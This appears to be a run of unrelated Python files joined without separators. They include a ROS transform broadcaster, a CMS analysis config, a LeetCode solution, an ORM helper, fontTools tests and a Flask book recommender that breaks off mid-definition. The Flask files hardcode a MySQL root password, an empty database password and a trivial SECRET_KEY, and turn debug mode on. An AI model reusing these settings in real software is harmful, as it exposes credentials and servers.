#!/usr/bin/env python # ######################################################## # This broadcaster will send the transform between the # boat_frame --> world # # It will subscribe to the gps and imu on the boat # and update the transform accordingly # ######################################################## import rospy import tf from sensor_msgs.msg import Imu from geometry_msgs.msg import PoseStamped, Quaternion # from math import radians def update_quaternion(msg): " Updates the transform data that are going to be published" global quat quat = msg.orientation rospy.loginfo(msg.orientation) # quat = tf.transformations.quat_from_euler( # radians(msg.R), radians(msg.P), radians(msg.Y)) def update_pose(msg): " Updates the transform data that are going to be published" global x, y, z x = msg.pose.position.x y = msg.pose.position.y z = msg.pose.position.z if __name__ == '__main__': rospy.init_node('boat2world_tf_broadcaster') # Subscriber to the boat's imu sub_imu = rospy.Subscriber('imu_boat', Imu, update_quaternion) # Subscriber to the boat's position # (the local_pose also contains the orientation but # is updated less frequently) sub_gps = rospy.Subscriber('gps/local_pose', PoseStamped, update_pose) br = tf.TransformBroadcaster() rate = rospy.Rate(50.0) quat = Quaternion() quat.w = 1.0 x, y, z = 0, 0, 0 # LOOP while not rospy.is_shutdown(): br.sendTransform((x, y, z), (quat.x, quat.y, quat.z, quat.w), rospy.Time.now(), "boat_frame", "world") rate.sleep()
from setuptools import setup import os.path as p here = p.abspath(p.dirname(__file__)) with open(p.join(here, 'README.md')) as f: long_description = f.read() setup( name='neuroswarms', version='1.0.1', description='NeuroSwarms: A neural swarming controller model', long_description=long_description, url='https://github.com/jdmonaco/neuroswarms', author='Joseph Monaco', author_email='jmonaco@jhu.edu', license='MIT', classifiers=[ 'Development Status :: 7 - Inactive', 'Intended Audience :: Science/Research', 'Topic :: Scientific/Engineering :: Artificial Intelligence', 'Topic :: Scientific/Engineering :: Medical Science Apps.', 'Topic :: Scientific/Engineering :: Visualization', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.8' ], packages=['neuroswarms'], )
import multiprocessing class NoDaemonProcess(multiprocessing.Process): def _get_daemon(self): return False def _set_daemon(self, value): pass daemon = property(_get_daemon, _set_daemon)
import FWCore.ParameterSet.Config as cms process = cms.Process("TopTree") process.source = cms.Source("PoolSource", fileNames = cms.untracked.vstring('root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_551.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_552.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_553.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_554.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_555.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_556.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_557.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_558.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_559.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_56.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_560.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_561.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_562.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_563.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_564.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_565.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_566.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_567.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_568.root', 'root://cms-xrdr.sdfarm.kr:1094///xrd/store/group/CAT/ST_t-channel_top_4f_inclusiveDecays_13TeV-powhegV2-madspin-pythia8_TuneCUETP8M1/v8-0-6_RunIISummer16MiniAODv2-PUMoriond17_80X_mcRun2_asymptotic_2016_TrancheIV_v6-v1/170303_110221/0000/catTuple_569.root') ) process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) ) process.options = cms.untracked.PSet( wantSummary = cms.untracked.bool(True) ) process.flatGenWeights = cms.EDProducer("GenWeightsToFlatWeights", keepFirstOnly = cms.bool(True), saveOthers = cms.bool(False), src = cms.InputTag("genWeight") ) process.TopTree = cms.EDAnalyzer("TopAnalyzer", electronLabel = cms.InputTag("catElectrons"), genLabel = cms.InputTag("prunedGenParticles"), genTopLabel = cms.InputTag("catGenTops"), genWeightLabel = cms.InputTag("genWeight"), jetLabel = cms.InputTag("catJets"), metLabel = cms.InputTag("catMETs"), muonLabel = cms.InputTag("catMuons"), pdfweights = cms.InputTag("flatGenWeights","pdf"), puWeight = cms.InputTag("pileupWeight"), puWeightDown = cms.InputTag("pileupWeight","dn"), puWeightUp = cms.InputTag("pileupWeight","up"), pvLabel = cms.InputTag("catVertex","nGoodPV"), scaledownweights = cms.InputTag("flatGenWeights","scaledown"), scaleupweights = cms.InputTag("flatGenWeights","scaleup"), triggerBits = cms.InputTag("TriggerResults","","HLT"), triggerObjects = cms.InputTag("catTrigger") ) process.p = cms.Path(process.flatGenWeights+process.TopTree) process.MessageLogger = cms.Service("MessageLogger", FrameworkJobReport = cms.untracked.PSet( FwkJob = cms.untracked.PSet( limit = cms.untracked.int32(10000000), optionalPSet = cms.untracked.bool(True) ), default = cms.untracked.PSet( limit = cms.untracked.int32(0) ), optionalPSet = cms.untracked.bool(True) ), categories = cms.untracked.vstring('FwkJob', 'FwkReport', 'FwkSummary', 'Root_NoDictionary'), cerr = cms.untracked.PSet( FwkJob = cms.untracked.PSet( limit = cms.untracked.int32(0), optionalPSet = cms.untracked.bool(True) ), FwkReport = cms.untracked.PSet( limit = cms.untracked.int32(10000000), optionalPSet = cms.untracked.bool(True), reportEvery = cms.untracked.int32(1) ), FwkSummary = cms.untracked.PSet( limit = cms.untracked.int32(10000000), optionalPSet = cms.untracked.bool(True), reportEvery = cms.untracked.int32(1) ), INFO = cms.untracked.PSet( limit = cms.untracked.int32(-1) ), Root_NoDictionary = cms.untracked.PSet( limit = cms.untracked.int32(0), optionalPSet = cms.untracked.bool(True) ), default = cms.untracked.PSet( limit = cms.untracked.int32(10000000) ), noTimeStamps = cms.untracked.bool(False), optionalPSet = cms.untracked.bool(True), threshold = cms.untracked.string('INFO') ), cerr_stats = cms.untracked.PSet( optionalPSet = cms.untracked.bool(True), output = cms.untracked.string('cerr'), threshold = cms.untracked.string('WARNING') ), cout = cms.untracked.PSet( placeholder = cms.untracked.bool(True) ), debugModules = cms.untracked.vstring(), debugs = cms.untracked.PSet( placeholder = cms.untracked.bool(True) ), default = cms.untracked.PSet( ), destinations = cms.untracked.vstring('warnings', 'errors', 'infos', 'debugs', 'cout', 'cerr'), errors = cms.untracked.PSet( placeholder = cms.untracked.bool(True) ), fwkJobReports = cms.untracked.vstring('FrameworkJobReport'), infos = cms.untracked.PSet( Root_NoDictionary = cms.untracked.PSet( limit = cms.untracked.int32(0), optionalPSet = cms.untracked.bool(True) ), optionalPSet = cms.untracked.bool(True), placeholder = cms.untracked.bool(True) ), statistics = cms.untracked.vstring('cerr_stats'), suppressDebug = cms.untracked.vstring(), suppressInfo = cms.untracked.vstring(), suppressWarning = cms.untracked.vstring(), warnings = cms.untracked.PSet( placeholder = cms.untracked.bool(True) ) ) process.TFileService = cms.Service("TFileService", fileName = cms.string('vallot.root') )
#!/usr/bin/env python3 # coding:utf-8 # Author:Lee # 2020/4/26 19:44 """ 题目: 给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标。 你可以假设每种输入只会对应一个答案。但是,数组中同一个元素不能使用两遍。 示例: 给定 nums = [2, 7, 11, 15], target = 9 因为 nums[0] + nums[1] = 2 + 7 = 9 所以返回 [0, 1] 思路: 1. 将nums组合为一个索引序列 2. 通过for循环取出索引和值 3. 用hashmap记录之前出现的索引和值 结果: 执行耗时:64 ms,击败了55.08% 的Python3用户 内存消耗:15 MB,击败了5.48% 的Python3用户 """ # 1 # class Solution: # def twoSum(self, nums, target): # hashmap = {} # for index, num in enumerate(nums): # if target - num in hashmap: # return hashmap[target - num], index # hashmap[num] = index # 2 # 此解法用时54ms,内存消耗15.1MB class Solution: def twoSum(self, nums, target): hashmap = {} for index, num in enumerate(nums): result = target - num if result in hashmap: return hashmap[result], index hashmap[num] = index
#!/usr/bin/env python # coding: utf-8 ''' enumerate()循环返回给定列表和其对应的索引值 注意enumerate只能用于循环枚举,不能直接作为函数使用。 ''' list = [4,8,3,5,2,1,6,7,0,9,2] li = [1,2,3,4] def main(): for i in enumerate(list): print i if __name__ == '__main__': main()
import re import tools from database import Table, FieldTable, findTypeFromMysql, Entity baseCommandeAnnotation = ['EntityName', 'FieldName', 'Column', 'GeneratedValue'] startAnnotationFormat = "# ###" shortComment = "# " appelFonction = "@ORM/" callage1 = " " callage2 = callage1 + callage1 callage3 = callage2 + callage1 def makeEnteteGetterSetter(field: FieldTable, typeDef: str = 'get'): st = 'def ' typeDef = typeDef.lower() st += typeDef + convertNameToObjName(field.name).capitalize() if typeDef.lower() == 'set': st += '(self, ' + convertNameToObjName(field.name) + ': ' + field.type.python + '):\n' else: st += '(self):\n' return st class CommandColumnAnnotation: type = "type" length = "length" key = "key" nullable = "nullable" appelFonction = shortComment + appelFonction + "Column" def createStringFromField(self, field: FieldTable): st = self.appelFonction + "(" st += self._makePatternCommand(self.type, field.type.mysql) if field.length != 0: st += self._makePatternCommand(self.length, field.length) if field.key != '': st += self._makePatternCommand(self.key, field.key) if field.nullable: st += self._makePatternCommand(self.nullable, "YES") else: st += self._makePatternCommand(self.nullable, "NO") return st[:-1] + ')' def _makePatternCommand(self, fieldName, fieldValue): return fieldName + "=" + str(fieldValue) + ',' class FileCommentedCreator: _table: Table = None _filePath: str = None def __init__(self, table: Table = None, filePath: str = None): if table is not None: self._table = table if filePath is not None: self._filePath = filePath def _addAttributeFromTableFied(self): cA = CommandColumnAnnotation() st = "" for fn in self._table.fieldsName: field: FieldTable = self._table.fields[fn] debutLigne = callage1 + shortComment + appelFonction st += callage1 + startAnnotationFormat + '\n' st += debutLigne + baseCommandeAnnotation[1] + '=' + field.name + '\n' st += callage1 + cA.createStringFromField(field) + '\n' if field.extra: if field.extra == 'auto_increment': st += debutLigne + baseCommandeAnnotation[3] + '\n' st += callage1 + startAnnotationFormat + '\n' st += callage1 + convertFieldToAttribute(field) + ": " + field.type.python st += " = None" st += "\n\n" return st def _addSetterGetter(self): st = "" for fn in self._table.fieldsName: field: FieldTable = self._table.fields[fn] st += callage1 + makeEnteteGetterSetter(field, 'get') st += callage2 + 'return self.' + convertFieldToAttribute(field) + '\n\n' if field.key != 'PRI': st += callage1 + makeEnteteGetterSetter(field, 'set') st += callage2 + 'self.' + convertFieldToAttribute(field) + ' = ' + convertNameToObjName( field.name) if field.length > 1: st += '[0:' + str(field.length) + ']' st += '\n' st += callage2 + 'return self\n\n' return st def convertMysqlToEntityFile(self, tableToPut: Table): if tableToPut is not None: self._table = tableToPut if self._table is None: return False st = 'import datetime\nfrom database import Entity\n\n\n' nameEntity = convertNameToObjName(self._table.name).capitalize()+"Entity" st += shortComment + appelFonction + baseCommandeAnnotation[0] + "=" + self._table.name + "\n" st += "class " + nameEntity + "(Entity):\n" st += self._addAttributeFromTableFied() st += self._addSetterGetter() st = st[:-1] if tools.dataNotNull(self._filePath): filename = self._filePath + nameEntity + '.py' fileW = open(filename, 'w') fileW.write(st) fileW.close() filePacketEntityPath = self._filePath + "__init__.py" with open(filePacketEntityPath, "a") as fileAd: st = "from database.entity." + nameEntity + " import " + nameEntity + "\n" fileAd.write(st) fileAd.close() return st class EntityAnnotation: _entity: Entity = None _pathEntity = 'database/entity/' _lines = [] _tableEncours: Table = None _fieldEncours: FieldTable = None _actualLine: str = None _entitesALreadyFormated = {} _tablesAlreadyDone = {} _nameMysqlFieldEncours = "" _fileCreator = FileCommentedCreator(filePath=_pathEntity) def __init__(self, entity: Entity = None, forceUpdate: bool = False): if entity is not None: self.seakEntity(entity, forceUpdate) def seakEntity(self, entity: Entity, forceUpdate: bool = False): if (entity.getName() not in self._entitesALreadyFormated.keys()) | forceUpdate: self._entity = entity self._tableEncours = Table() self._recupDatas() self._decoupeComment() self._entitesALreadyFormated[entity.getName()] = self._entity self._tablesAlreadyDone[entity.getName()] = self._tableEncours else: self._entity = self._entitesALreadyFormated[entity.getName()] self._tableEncours = self._tablesAlreadyDone[entity.getName()] self._recupDataWithCopieEntity(entity) def writeTableInEntityFile(self, table: Table = None): if table is not None: self._tableEncours = table self._fileCreator.convertMysqlToEntityFile(tableToPut=self._tableEncours) def _recupDatas(self): fileName = self._pathEntity + self._entity.getName() + '.py' with open(fileName, "r") as fopen: self._lines = fopen.readlines() def _decoupeComment(self): lfichier = len(self._lines) ln = 0 commentStarted = False findEntity = "# @ORM/" + baseCommandeAnnotation[0] + "=" self._entity.clearAttibutes() while ln < lfichier: self._actualLine = self._lines[ln] if self._fieldEncours: if preFormatLineAnnotation(self._actualLine)[0:1] == '_': vals = preFormatLineAnnotation(self._actualLine)[1:].split(":") self._entity.addAttributeToListAttributes(vals[0]) if self._fieldEncours.key == "PRI": self._entity.setPrimaryKey(vals[0]) self._tableEncours.setPrimaryKey(self._nameMysqlFieldEncours) if self.isLineContain(stToContain=findEntity, addPreCarShort=False): self._tableEncours = Table() self._tableEncours.fieldsName = [] self._tableEncours.name = preFormatLineAnnotation(self._actualLine)[18:] if self.isLineContain(startAnnotationFormat, False): commentStarted = True self._fieldEncours = FieldTable() ln += 1 self._actualLine = self._lines[ln] if commentStarted: while not self.isLineContain(startAnnotationFormat, False): self._actualLine = self._lines[ln] if self.isLineContain("# @ORM/", False): self._commandAnnotationEntity() ln += 1 self._actualLine = self._lines[ln] self._tableEncours.fields[self._fieldEncours.name] = self._fieldEncours self._tableEncours.fieldsName.append(self._fieldEncours.name) commentStarted = False ln += 1 def _commandAnnotationEntity(self): if not tools.dataNotNull(self._actualLine): return False marqueur = "@ORM/" clfM = len(marqueur) + 2 if self.isLineContain("@ORM/", True): val = preFormatLineAnnotation(self._actualLine)[clfM:] lbca = len(baseCommandeAnnotation[1]) com = val[0:lbca] if com == baseCommandeAnnotation[1]: self._fieldEncours = FieldTable() stName = lbca + 1 self._fieldEncours.name = val[stName:] self._nameMysqlFieldEncours = val[stName:] return True lbca = len(baseCommandeAnnotation[2]) com = val[0:lbca] if com == baseCommandeAnnotation[2]: self._commandeColumn(val) return True lbca = len(baseCommandeAnnotation[3]) com = val[0:lbca] if com == baseCommandeAnnotation[3]: self._fieldEncours.extra = 'auto_increment' return True else: return False def _commandeColumn(self, line: str): # Commands => 'type', 'nullable', key cl = len(baseCommandeAnnotation[2]) + 1 localCommandsSt = re.sub('\n', '', line[cl:]) localCommandsSt = re.sub('\)$', '', localCommandsSt) localCommandsAr = localCommandsSt.split(",") for lc in localCommandsAr: lcNet = re.sub('^\s', '', lc) lcNet = re.sub('\s$', '', lcNet) if lcNet[0:4] == 'type': typeLine = re.sub("\(\d*\)", '', lcNet[5:]) lenRech = re.search('\d+', lcNet[5:]) if lenRech: if lenRech.group(0): self._fieldEncours.length = int(lenRech.group(0)) else: self._fieldEncours.length = 0 else: self._fieldEncours.length = 0 self._fieldEncours.type = findTypeFromMysql(typeLine) elif lcNet[0:3] == 'key': value = re.sub('^\s*', '', lcNet[4:]) value = re.sub('\s=$', '', value) self._fieldEncours.key = value elif lcNet[0:8] == 'nullable': self._fieldEncours.nullable = True return def isLineContain(self, stToContain: str, addPreCarShort: bool = False): if addPreCarShort: stToContain = "# " + stToContain ltofind = len(stToContain) if preFormatLineAnnotation(self._actualLine)[0:ltofind] == stToContain: return True return False def getTable(self): return self._tableEncours def getEntity(self): return self._entity def _recupDataWithCopieEntity(self, newEntity: Entity): for attr in self._entity.getAttributes(): self._entity.__setattr__(attr, newEntity.__getattribute__(attr)) newEntity.addAttributeToListAttributes(attr) def convertFieldToAttribute(field: FieldTable): return "_" + convertNameToObjName(field.name) def convertAttibuteToField(attribute: str): if attribute[0:1] == "_": attribute = attribute[1:] captitals = re.findall('[A-Z]', attribute) for c in captitals: rep = "_" + c.lower() attribute = re.sub(c, rep, attribute) return attribute def preFormatLineAnnotation(line: str): line = re.sub('^\s*', "", line) line = re.sub('\n', "", line) return line def convertNameToObjName(name: str = None): if name is None: return "" ln = len(name) returnedName: str = "" nextUpper = False for i in range(ln): if nextUpper: returnedName += name[i:i + 1].upper() nextUpper = False else: if name[i:i + 1] == "_": nextUpper = True else: nextUpper = False returnedName += name[i:i + 1].lower() return returnedName
import os DEBUG = True HOST = '0.0.0.0' PORT = 5000 # MongoDB connection settings DATABASE = { 'db': 'neomad', 'username': 'root', 'host': 'localhost', 'password': '', 'port': int(os.environ.get('DB_PORT', 27017)) } PROJECT_PATH = os.path.abspath(os.path.dirname(__file__)) UPLOAD_PATH = '{}/static/uploads'.format(PROJECT_PATH) AVATARS_PATH = '{}/avatars'.format(UPLOAD_PATH) AVATARS_URL = '/static/uploads/avatars' ARTICLE_IMG_PATH = '{}/articles'.format(UPLOAD_PATH) ARTICLE_IMG_URL = '/static/uploads/articles' DEBUG_TB_ENABLED = DEBUG DEBUG_TB_PANELS = ( 'flask_debugtoolbar.panels.versions.VersionDebugPanel', 'flask_debugtoolbar.panels.timer.TimerDebugPanel', 'flask_debugtoolbar.panels.headers.HeaderDebugPanel', 'flask_debugtoolbar.panels.request_vars.RequestVarsDebugPanel', 'flask_debugtoolbar.panels.template.TemplateDebugPanel', 'flask_debugtoolbar.panels.logger.LoggingPanel', 'flask_debugtoolbar.panels.route_list.RouteListDebugPanel', 'flask_mongoengine.panels.MongoDebugPanel', ) DEBUG_TB_INTERCEPT_REDIRECTS = False SECRET_KEY = 'mysecretkey'
from fontTools.misc.transform import Identity from fontTools.pens.hashPointPen import HashPointPen import pytest class _TestGlyph(object): width = 500 def drawPoints(self, pen): pen.beginPath(identifier="abc") pen.addPoint((0.0, 0.0), "line", False, "start", identifier="0000") pen.addPoint((10, 110), "line", False, None, identifier="0001") pen.addPoint((50.0, 75.0), None, False, None, identifier="0002") pen.addPoint((60.0, 50.0), None, False, None, identifier="0003") pen.addPoint((50.0, 0.0), "curve", True, "last", identifier="0004") pen.endPath() class _TestGlyph2(_TestGlyph): def drawPoints(self, pen): pen.beginPath(identifier="abc") pen.addPoint((0.0, 0.0), "line", False, "start", identifier="0000") # Minor difference to _TestGlyph() is in the next line: pen.addPoint((101, 10), "line", False, None, identifier="0001") pen.addPoint((50.0, 75.0), None, False, None, identifier="0002") pen.addPoint((60.0, 50.0), None, False, None, identifier="0003") pen.addPoint((50.0, 0.0), "curve", True, "last", identifier="0004") pen.endPath() class _TestGlyph3(_TestGlyph): def drawPoints(self, pen): pen.beginPath(identifier="abc") pen.addPoint((0.0, 0.0), "line", False, "start", identifier="0000") pen.addPoint((10, 110), "line", False, None, identifier="0001") pen.endPath() # Same segment, but in a different path: pen.beginPath(identifier="pth2") pen.addPoint((50.0, 75.0), None, False, None, identifier="0002") pen.addPoint((60.0, 50.0), None, False, None, identifier="0003") pen.addPoint((50.0, 0.0), "curve", True, "last", identifier="0004") pen.endPath() class _TestGlyph4(_TestGlyph): def drawPoints(self, pen): pen.beginPath(identifier="abc") pen.addPoint((0.0, 0.0), "move", False, "start", identifier="0000") pen.addPoint((10, 110), "line", False, None, identifier="0001") pen.addPoint((50.0, 75.0), None, False, None, identifier="0002") pen.addPoint((60.0, 50.0), None, False, None, identifier="0003") pen.addPoint((50.0, 0.0), "curve", True, "last", identifier="0004") pen.endPath() class _TestGlyph5(_TestGlyph): def drawPoints(self, pen): pen.addComponent("b", Identity) class HashPointPenTest(object): def test_addComponent(self): pen = HashPointPen(_TestGlyph().width, {"a": _TestGlyph()}) pen.addComponent("a", (2, 0, 0, 3, -10, 5)) assert pen.hash == "w500[l0+0l10+110o50+75o60+50c50+0|(+2+0+0+3-10+5)]" def test_NestedComponents(self): pen = HashPointPen( _TestGlyph().width, {"a": _TestGlyph5(), "b": _TestGlyph()} ) # "a" contains "b" as a component pen.addComponent("a", (2, 0, 0, 3, -10, 5)) assert ( pen.hash == "w500[[l0+0l10+110o50+75o60+50c50+0|(+1+0+0+1+0+0)](+2+0+0+3-10+5)]" ) def test_outlineAndComponent(self): pen = HashPointPen(_TestGlyph().width, {"a": _TestGlyph()}) glyph = _TestGlyph() glyph.drawPoints(pen) pen.addComponent("a", (2, 0, 0, 2, -10, 5)) assert ( pen.hash == "w500l0+0l10+110o50+75o60+50c50+0|[l0+0l10+110o50+75o60+50c50+0|(+2+0+0+2-10+5)]" ) def test_addComponent_missing_raises(self): pen = HashPointPen(_TestGlyph().width, dict()) with pytest.raises(KeyError) as excinfo: pen.addComponent("a", Identity) assert excinfo.value.args[0] == "a" def test_similarGlyphs(self): pen = HashPointPen(_TestGlyph().width) glyph = _TestGlyph() glyph.drawPoints(pen) pen2 = HashPointPen(_TestGlyph2().width) glyph = _TestGlyph2() glyph.drawPoints(pen2) assert pen.hash != pen2.hash def test_similarGlyphs2(self): pen = HashPointPen(_TestGlyph().width) glyph = _TestGlyph() glyph.drawPoints(pen) pen2 = HashPointPen(_TestGlyph3().width) glyph = _TestGlyph3() glyph.drawPoints(pen2) assert pen.hash != pen2.hash def test_similarGlyphs3(self): pen = HashPointPen(_TestGlyph().width) glyph = _TestGlyph() glyph.drawPoints(pen) pen2 = HashPointPen(_TestGlyph4().width) glyph = _TestGlyph4() glyph.drawPoints(pen2) assert pen.hash != pen2.hash def test_glyphVsComposite(self): # If a glyph contains a component, the decomposed glyph should still # compare false pen = HashPointPen(_TestGlyph().width, {"a": _TestGlyph()}) pen.addComponent("a", Identity) pen2 = HashPointPen(_TestGlyph().width) glyph = _TestGlyph() glyph.drawPoints(pen2) assert pen.hash != pen2.hash
from flask import Flask, render_template, url_for, request import pandas as pd pd.set_option('display.max_columns', 25) import numpy as np import matplotlib.pyplot as plt from surprise import Dataset from surprise import Reader from surprise import SVD from surprise.prediction_algorithms import knns from surprise.model_selection import train_test_split, KFold, GridSearchCV from surprise import accuracy from surprise import dump import os import random from collections import defaultdict from time import time from flask_wtf import FlaskForm, Form from wtforms import StringField, PasswordField, SubmitField from form import recommender_inputs,Loginform, BaseFormTemplate from flask import Flask from flask_mysqldb import MySQL app = Flask(__name__) # values configured so that the app knows which database to connect to app.config['MYSQL_HOST'] = 'localhost' # where the database is hosted app.config['MYSQL_USER'] = 'root' # the user the database is under app.config['MYSQL_PASSWORD'] = 'kunsa3002' # the password for access to the database app.config['MYSQL_DB'] = 'library' # the name of the database mysql = MySQL(app) # creates an instance of the database that the app can call on, so that it can use and pass data into it #loads the csv files as dataframes ratings = pd.read_csv('ratings.csv') # taking 10% of the ratings and books dating frames smallerratings = ratings.sample(frac = 0.1, replace = True, random_state = 1) books = pd.read_csv('books.csv') smallerbooks = books.sample(frac = 0.1, replace = True, random_state = 1) # define reader reader = Reader(rating_scale=(1, 5)) # load dataframe into correct format for surprise library data = Dataset.load_from_df(smallerratings[['user_id', 'book_id', 'rating']], reader) # splitting the data set so that 20% of it is a test set, whilst the rest of the data is the training set trainset, testset = train_test_split(data, test_size=0.2, random_state=0) def createbestalgorithm(data): # creating a new validation set to help fine-tune the parameters of the raw_ratings = data.raw_ratings # shuffle ratings random.shuffle(raw_ratings) # A = 80% of the data, B = 20% of the data threshold = int(.8 * len(raw_ratings)) A_raw_ratings = raw_ratings[:threshold] B_raw_ratings = raw_ratings[threshold:] data.raw_ratings = A_raw_ratings # data is now the set A t = time() #define parameter grid and fit gridsearch on set A data # n_epochs is the no. of times it algorithm is performed on the entire training data #lr_all is the learning rate of the parameters( which is the amount by which they'll change each time the model goe # goes through the training data) param_grid = {'n_epochs': [5,10], 'lr_all': [0.001, 0.01]} # function which iterates through multiple SVD algorithms, each with slightly different parameters # as the algorithms are performed, optimizing to a more accurate algorithm in the given time grid_search = GridSearchCV(SVD, param_grid, measures=['rmse'], cv=3) grid_search.fit(data) # gets the best algorithm out of all the svd algorithms perforemd by GridsearchCV best_algorithm = grid_search.best_estimator['rmse'] # retrain on the whole set A trainset = data.build_full_trainset() best_algorithm.fit(trainset) # test the best_svd algorithm on set B testset = data.construct_testset(B_raw_ratings) newpredictions = best_algorithm.test(testset) # print the rmse of this new algorithm goodness_of_fit = accuracy.rmse(newpredictions) print(goodness_of_fit) # give file a name newfile= os.path.expanduser('~/somewhere') # save best model dump.dump(newfile, algo=best_algorithm) # load saved model return newfile def makepredictions_generate_rating_books(num_ratings, smallerbooks): # create an array of books for the user to rate random_book_list = [] # iterates through to create an intiial list of books to rate while num_ratings > 0: random_book = smallerbooks.sample(1, random_state = None) print(random_book.info) random_book_details = random_book[['book_id','title','authors']].values.tolist() random_book_list.append(random_book_details) num_ratings -= 1 return random_book_list num_ratings = 5 def 